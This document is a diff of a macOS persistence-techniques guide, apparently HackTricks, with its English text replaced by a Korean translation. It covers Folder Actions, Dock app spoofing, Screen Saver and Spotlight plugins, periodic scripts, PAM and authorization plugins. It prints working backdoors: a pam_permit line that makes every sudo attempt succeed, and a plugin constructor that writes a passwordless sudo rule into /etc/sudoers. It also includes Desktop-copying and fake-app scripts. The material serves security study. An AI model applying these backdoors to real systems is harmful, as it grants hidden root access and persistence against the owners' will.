/tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` +`osacompile -l JavaScript -o folder.scpt source.js`로 컴파일합니다. -Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` - -Move it to: - +다음 위치로 이동합니다: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` - -Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp): +그런 다음 `Folder Actions Setup` 앱을 열고 **모니터링할 폴더**를 선택한 다음 **`folder.scpt`**를 선택합니다(제 경우에는 output2.scp라고 했습니다):
-Now, if you open that folder with **Finder**, your script will be executed. +이제 **Finder**로 해당 폴더를 열면 스크립트가 실행됩니다. -This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. +이 구성은 **plist**에 저장되었으며, **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**에 base64 형식으로 저장됩니다. -Now, lets try to prepare this persistence without GUI access: +이제 GUI 접근 없이 이 지속성을 준비해 보겠습니다: -1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: - - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Remove** the Folder Actions you just set: +1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**를 `/tmp`로 복사하여 백업합니다: +- `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` +2. 방금 설정한 Folder Actions를 **제거**합니다:
-Now that we have an empty environment +이제 빈 환경이 준비되었습니다. -3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. 백업 파일을 복사합니다: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. 이 구성을 사용하기 위해 Folder Actions Setup.app을 엽니다: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> And this didn't work for me, but those are the instructions from the writeup:( +> 그리고 이것은 저에게는 작동하지 않았지만, 이것이 작성자의 지침입니다:( -### Dock shortcuts +### Dock 단축키 -Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +작성자: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to have installed a malicious application inside the system -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용합니다: [✅](https://emojipedia.org/check-mark-button) +- 그러나 시스템 내에 악성 애플리케이션이 설치되어 있어야 합니다 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - `~/Library/Preferences/com.apple.dock.plist` - - **Trigger**: When the user clicks on the app inside the dock +- **트리거**: 사용자가 도크 내의 앱을 클릭할 때 -#### Description & Exploitation +#### 설명 및 악용 -All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** - -It's possible to **add an application** just with: +도크에 나타나는 모든 애플리케이션은 plist 내에 지정되어 있습니다: **`~/Library/Preferences/com.apple.dock.plist`** +**애플리케이션을 추가하는** 것은 다음과 같이 가능합니다: ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -910,9 +793,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -965,92 +846,86 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` - -### Color Pickers +### 색상 선택기 Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - A very specific action needs to happen - - You will end in another sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 매우 특정한 작업이 필요함 +- 다른 샌드박스에 끝남 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - `/Library/ColorPickers` - - Root required - - Trigger: Use the color picker +- 루트 권한 필요 +- 트리거: 색상 선택기 사용 - `~/Library/ColorPickers` - - Trigger: Use the color picker +- 트리거: 색상 선택기 사용 -#### Description & Exploit +#### 설명 및 익스플로잇 -**Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. +**당신의 코드로 색상 선택기** 번들을 컴파일하고 (예를 들어 [**이것을 사용할 수 있습니다**](https://github.com/viktorstrate/color-picker-plus)) 생성자를 추가한 후 `~/Library/ColorPickers`에 번들을 복사합니다. -Then, when the color picker is triggered your should should be aswell. - -Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +그런 다음 색상 선택기가 트리거되면 당신의 코드도 실행되어야 합니다. +당신의 라이브러리를 로드하는 바이너리가 **매우 제한적인 샌드박스**를 가지고 있다는 점에 유의하세요: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl - [Value] - [Array] - [String] (deny file-write* (home-subpath "/Library/Colors")) - [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) - [String] (allow file-read* (extension "com.apple.app-sandbox.read")) +[Value] +[Array] +[String] (deny file-write* (home-subpath "/Library/Colors")) +[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) +[String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` - ### Finder Sync Plugins **Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ **Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Useful to bypass sandbox: **No, because you need to execute your own app** -- TCC bypass: ??? +- 샌드박스를 우회하는 데 유용함: **아니요, 자신의 앱을 실행해야 하기 때문입니다** +- TCC 우회: ??? -#### Location +#### 위치 -- A specific app +- 특정 앱 -#### Description & Exploit +#### 설명 및 익스플로잇 -An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). - -Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: +Finder Sync Extension이 있는 애플리케이션 예시 [**여기에서 찾을 수 있습니다**](https://github.com/D00MFist/InSync). +애플리케이션은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 애플리케이션 내부로 들어갑니다. 또한, 확장이 코드를 실행할 수 있으려면 **유효한 Apple 개발자 인증서로 서명되어야 하며**, **샌드박스화**되어야 하고 (완화된 예외가 추가될 수 있음), 다음과 같은 방식으로 등록되어야 합니다: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` - -### Screen Saver +### 화면 보호기 Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in a common application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 하지만 일반 애플리케이션 샌드박스에 끝날 것입니다 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - `/System/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- 루트 권한 필요 +- **트리거**: 화면 보호기 선택 - `/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- 루트 권한 필요 +- **트리거**: 화면 보호기 선택 - `~/Library/Screen Savers` - - **Trigger**: Select the screen saver +- **트리거**: 화면 보호기 선택
-#### Description & Exploit +#### 설명 및 익스플로잇 -Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. - -**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: +Xcode에서 새 프로젝트를 만들고 새 **화면 보호기**를 생성하는 템플릿을 선택합니다. 그런 다음, 로그를 생성하는 다음 코드를 추가합니다. +**빌드**하고 `.saver` 번들을 **`~/Library/Screen Savers`**에 복사합니다. 그런 다음, 화면 보호기 GUI를 열고 클릭하면 많은 로그가 생성되어야 합니다: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1059,12 +934,10 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` - > [!CAUTION] -> Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. +> 이 코드를 로드하는 바이너리의 권한(entitlements) 안에 **`com.apple.security.app-sandbox`**가 있기 때문에, 당신은 **일반 애플리케이션 샌드박스 안에 있을 것입니다**. Saver code: - ```objectivec // // ScreenSaverExampleView.m @@ -1079,159 +952,154 @@ Saver code: - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - self = [super initWithFrame:frame isPreview:isPreview]; - if (self) { - [self setAnimationTimeInterval:1/30.0]; - } - return self; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +self = [super initWithFrame:frame isPreview:isPreview]; +if (self) { +[self setAnimationTimeInterval:1/30.0]; +} +return self; } - (void)startAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super startAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super startAnimation]; } - (void)stopAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super stopAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super stopAnimation]; } - (void)drawRect:(NSRect)rect { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super drawRect:rect]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super drawRect:rect]; } - (void)animateOneFrame { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return; } - (BOOL)hasConfigureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return NO; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return NO; } - (NSWindow*)configureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return nil; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` - ### Spotlight Plugins writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in an application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - The sandbox looks very limited +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 하지만 애플리케이션 샌드박스에 갇히게 됩니다. +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스는 매우 제한적으로 보입니다. #### Location - `~/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. +- **트리거**: Spotlight 플러그인에 의해 관리되는 확장자를 가진 새 파일이 생성됩니다. - `/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **트리거**: Spotlight 플러그인에 의해 관리되는 확장자를 가진 새 파일이 생성됩니다. +- 루트 권한 필요 - `/System/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **트리거**: Spotlight 플러그인에 의해 관리되는 확장자를 가진 새 파일이 생성됩니다. +- 루트 권한 필요 - `Some.app/Contents/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - New app required +- **트리거**: Spotlight 플러그인에 의해 관리되는 확장자를 가진 새 파일이 생성됩니다. +- 새 앱 필요 #### Description & Exploitation -Spotlight is macOS's built-in search feature, designed to provide users with **quick and comprehensive access to data on their computers**.\ -To facilitate this rapid search capability, Spotlight maintains a **proprietary database** and creates an index by **parsing most files**, enabling swift searches through both file names and their content. +Spotlight는 macOS의 내장 검색 기능으로, 사용자가 **컴퓨터의 데이터에 빠르고 포괄적으로 접근할 수 있도록 설계되었습니다.**\ +이 빠른 검색 기능을 지원하기 위해 Spotlight는 **독점 데이터베이스**를 유지하고 **대부분의 파일을 파싱하여** 인덱스를 생성하여 파일 이름과 내용 모두를 통해 신속한 검색을 가능하게 합니다. -The underlying mechanism of Spotlight involves a central process named 'mds', which stands for **'metadata server'.** This process orchestrates the entire Spotlight service. Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 의미합니다. 이 프로세스는 전체 Spotlight 서비스를 조정합니다. 이를 보완하기 위해 다양한 유지 관리 작업을 수행하는 여러 'mdworker' 데몬이 있으며, 이는 다양한 파일 유형을 인덱싱하는 등의 작업을 수행합니다(`ps -ef | grep mdworker`). 이러한 작업은 Spotlight가 다양한 파일 형식의 내용을 이해하고 인덱싱할 수 있도록 하는 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들**"을 통해 가능해집니다. -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며, 새 번들이 나타나면 즉시 로드됩니다(서비스를 재시작할 필요 없음). 이러한 번들은 어떤 **파일 유형과 확장자를 관리할 수 있는지를 나타내야 하며**, 이 방식으로 Spotlight는 지정된 확장자를 가진 새 파일이 생성될 때 이를 사용합니다. +**모든 `mdimporters`**를 찾는 것이 가능합니다: ```bash mdimport -L Paths: id(501) ( - "/System/Library/Spotlight/iWork.mdimporter", - "/System/Library/Spotlight/iPhoto.mdimporter", - "/System/Library/Spotlight/PDF.mdimporter", - [...] +"/System/Library/Spotlight/iWork.mdimporter", +"/System/Library/Spotlight/iPhoto.mdimporter", +"/System/Library/Spotlight/PDF.mdimporter", +[...] ``` - -And for example **/Library/Spotlight/iBooksAuthor.mdimporter** is used to parse these type of files (extensions `.iba` and `.book` among others): - +예를 들어 **/Library/Spotlight/iBooksAuthor.mdimporter**는 이러한 유형의 파일(확장자 `.iba` 및 `.book` 등)을 구문 분석하는 데 사용됩니다: ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ - 0 => { - "CFBundleTypeName" => "iBooks Author Book" - "CFBundleTypeRole" => "MDImporter" - "LSItemContentTypes" => [ - 0 => "com.apple.ibooksauthor.book" - 1 => "com.apple.ibooksauthor.pkgbook" - 2 => "com.apple.ibooksauthor.template" - 3 => "com.apple.ibooksauthor.pkgtemplate" - ] - "LSTypeIsPackage" => 0 - } - ] +0 => { +"CFBundleTypeName" => "iBooks Author Book" +"CFBundleTypeRole" => "MDImporter" +"LSItemContentTypes" => [ +0 => "com.apple.ibooksauthor.book" +1 => "com.apple.ibooksauthor.pkgbook" +2 => "com.apple.ibooksauthor.template" +3 => "com.apple.ibooksauthor.pkgtemplate" +] +"LSTypeIsPackage" => 0 +} +] [...] - => { - "UTTypeConformsTo" => [ - 0 => "public.data" - 1 => "public.composite-content" - ] - "UTTypeDescription" => "iBooks Author Book" - "UTTypeIdentifier" => "com.apple.ibooksauthor.book" - "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" - "UTTypeTagSpecification" => { - "public.filename-extension" => [ - 0 => "iba" - 1 => "book" - ] - } - } +=> { +"UTTypeConformsTo" => [ +0 => "public.data" +1 => "public.composite-content" +] +"UTTypeDescription" => "iBooks Author Book" +"UTTypeIdentifier" => "com.apple.ibooksauthor.book" +"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" +"UTTypeTagSpecification" => { +"public.filename-extension" => [ +0 => "iba" +1 => "book" +] +} +} [...] ``` - > [!CAUTION] -> If you check the Plist of other `mdimporter` you might not find the entry **`UTTypeConformsTo`**. Thats because that is a built-in _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) and it doesn't need to specify extensions. +> 다른 `mdimporter`의 Plist를 확인하면 **`UTTypeConformsTo`** 항목을 찾지 못할 수도 있습니다. 이는 내장된 _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier))이기 때문이며, 확장자를 명시할 필요가 없습니다. > -> Moreover, System default plugins always take precedence, so an attacker can only access files that are not otherwise indexed by Apple's own `mdimporters`. +> 또한, 시스템 기본 플러그인은 항상 우선권을 가지므로, 공격자는 Apple의 `mdimporters`에 의해 인덱싱되지 않은 파일에만 접근할 수 있습니다. -To create your own importer you could start with this project: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) and then change the name, the **`CFBundleDocumentTypes`** and add **`UTImportedTypeDeclarations`** so it supports the extension you would like to support and refelc them in **`schema.xml`**.\ -Then **change** the code of the function **`GetMetadataForFile`** to execute your payload when a file with the processed extension is created. +자신만의 importer를 만들기 위해 이 프로젝트에서 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그런 다음 이름, **`CFBundleDocumentTypes`**를 변경하고 지원하고자 하는 확장자를 지원하도록 **`UTImportedTypeDeclarations`**를 추가하고 이를 **`schema.xml`**에 반영합니다.\ +그런 다음 **`GetMetadataForFile`** 함수의 코드를 변경하여 처리된 확장자를 가진 파일이 생성될 때 페이로드를 실행하도록 합니다. -Finally **build and copy your new `.mdimporter`** to one of thre previous locations and you can chech whenever it's loaded **monitoring the logs** or checking **`mdimport -L.`** +마지막으로 **새로운 `.mdimporter`를 빌드하고 복사**하여 이전 위치 중 하나에 두고 **로그를 모니터링**하거나 **`mdimport -L.`**를 확인하여 로드되었는지 확인할 수 있습니다. ### ~~Preference Pane~~ > [!CAUTION] -> It doesn't look like this is working anymore. +> 더 이상 작동하지 않는 것 같습니다. Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - It needs a specific user action -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 특정 사용자 작업이 필요합니다. +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) #### Location @@ -1241,34 +1109,33 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g #### Description -It doesn't look like this is working anymore. +더 이상 작동하지 않는 것 같습니다. ## Root Sandbox Bypass > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** +> 여기에서는 **루트**로 **파일에 작성**하여 간단히 무언가를 실행할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 그러나 루트여야 합니다. +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) #### Location - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - - Root required - - **Trigger**: When the time comes -- `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` - - Root required - - **Trigger**: When the time comes +- 루트 필요 +- **트리거**: 시간이 되었을 때 +- `/etc/daily.local`, `/etc/weekly.local` 또는 `/etc/monthly.local` +- 루트 필요 +- **트리거**: 시간이 되었을 때 #### Description & Exploitation -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. - +주기적인 스크립트 (**`/etc/periodic`**)는 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **launch daemons** 때문에 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 **파일 소유자**로서 **실행되므로**, 이는 잠재적인 권한 상승에는 작동하지 않습니다. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1299,52 +1166,44 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` - -There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: - +**`/etc/defaults/periodic.conf`**에 표시된 다른 주기적인 스크립트가 실행됩니다: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` - -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +`/etc/daily.local`, `/etc/weekly.local` 또는 `/etc/monthly.local` 파일 중 하나라도 작성하면 **조만간 실행됩니다**. > [!WARNING] -> Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +> 주기적인 스크립트는 **스크립트의 소유자로 실행됩니다**. 따라서 일반 사용자가 스크립트를 소유하고 있다면 해당 사용자로 실행됩니다(이는 권한 상승 공격을 방지할 수 있습니다). ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 그러나 root 권한이 필요합니다 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) #### Location -- Root always required +- 항상 root 권한 필요 #### Description & Exploitation -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: +PAM은 **지속성**과 맬웨어에 더 중점을 두고 있어 macOS 내에서의 쉬운 실행보다는 이 블로그에서는 자세한 설명을 제공하지 않습니다. **이 기술을 더 잘 이해하려면 작성된 내용을 읽어보세요**. +PAM 모듈을 확인하려면: ```bash ls -l /etc/pam.d ``` - -A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line: - +PAM을 악용한 지속성/권한 상승 기술은 /etc/pam.d/sudo 모듈을 수정하여 시작 부분에 다음 줄을 추가하는 것만큼 쉽습니다: ```bash auth sufficient pam_permit.so ``` - -So it will **looks like** something like this: - +그래서 이렇게 **보일 것입니다**: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1355,14 +1214,12 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` - -And therefore any attempt to use **`sudo` will work**. +따라서 **`sudo`를 사용하는 모든 시도는 작동할 것입니다**. > [!CAUTION] -> Note that this directory is protected by TCC so it's highly probably that the user will get a prompt asking for access. - -Another nice example is su, were you can see that it's also possible to give parameters to the PAM modules (and you coukd also backdoor this file): +> 이 디렉토리는 TCC에 의해 보호되므로 사용자가 접근 요청을 받는 프롬프트를 받을 가능성이 높습니다. +또 다른 좋은 예는 su로, PAM 모듈에 매개변수를 제공하는 것도 가능하다는 것을 볼 수 있습니다(이 파일에 백도어를 걸 수도 있습니다): ```bash cat /etc/pam.d/su # su: auth account session @@ -1373,26 +1230,24 @@ account required pam_opendirectory.so no_check_shell password required pam_opendirectory.so session required pam_launchd.so ``` - ### Authorization Plugins Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and make extra configs -- TCC bypass: ??? +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 하지만 루트 권한이 필요하고 추가 구성이 필요함 +- TCC 우회: ??? #### Location - `/Library/Security/SecurityAgentPlugins/` - - Root required - - It's also needed to configure the authorization database to use the plugin +- 루트 권한 필요 +- 플러그인을 사용하기 위해 권한 데이터베이스를 구성해야 함 #### Description & Exploitation -You can create an authorization plugin that will be executed when a user logs-in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). - +사용자가 로그인할 때 실행되어 지속성을 유지하는 권한 플러그인을 생성할 수 있습니다. 이러한 플러그인을 만드는 방법에 대한 자세한 정보는 이전 작성물을 확인하세요 (주의: 잘못 작성된 플러그인은 시스템에 잠길 수 있으며 복구 모드에서 맥을 정리해야 할 수 있습니다). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1403,74 +1258,64 @@ You can create an authorization plugin that will be executed when a user logs-in __attribute__((constructor)) static void run() { - NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); - system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); +NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); +system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` - -**Move** the bundle to the location to be loaded: - +**번들**을 로드될 위치로 이동하십시오: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` - -Finally add the **rule** to load this Plugin: - +마지막으로 이 플러그인을 로드하기 위한 **규칙**을 추가하세요: ```bash cat > /tmp/rule.plist < - class - evaluate-mechanisms - mechanisms - - CustomAuth:login,privileged - - +class +evaluate-mechanisms +mechanisms + +CustomAuth:login,privileged + +
EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` +**`evaluate-mechanisms`**는 권한 부여 프레임워크에 **권한 부여를 위한 외부 메커니즘을 호출해야 한다**고 알립니다. 또한, **`privileged`**는 루트에 의해 실행되도록 합니다. -The **`evaluate-mechanisms`** will tell the authorization framework that it will need to **call an external mechanism for authorization**. Moreover, **`privileged`** will make it be executed by root. - -Trigger it with: - +다음으로 트리거하세요: ```bash security authorize com.asdf.asdf ``` - -And then the **staff group should have sudo** access (read `/etc/sudoers` to confirm). +그리고 **staff 그룹은 sudo** 접근 권한을 가져야 합니다 (확인을 위해 `/etc/sudoers`를 읽으세요). ### Man.conf Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and the user must use man -- TCC bypass: 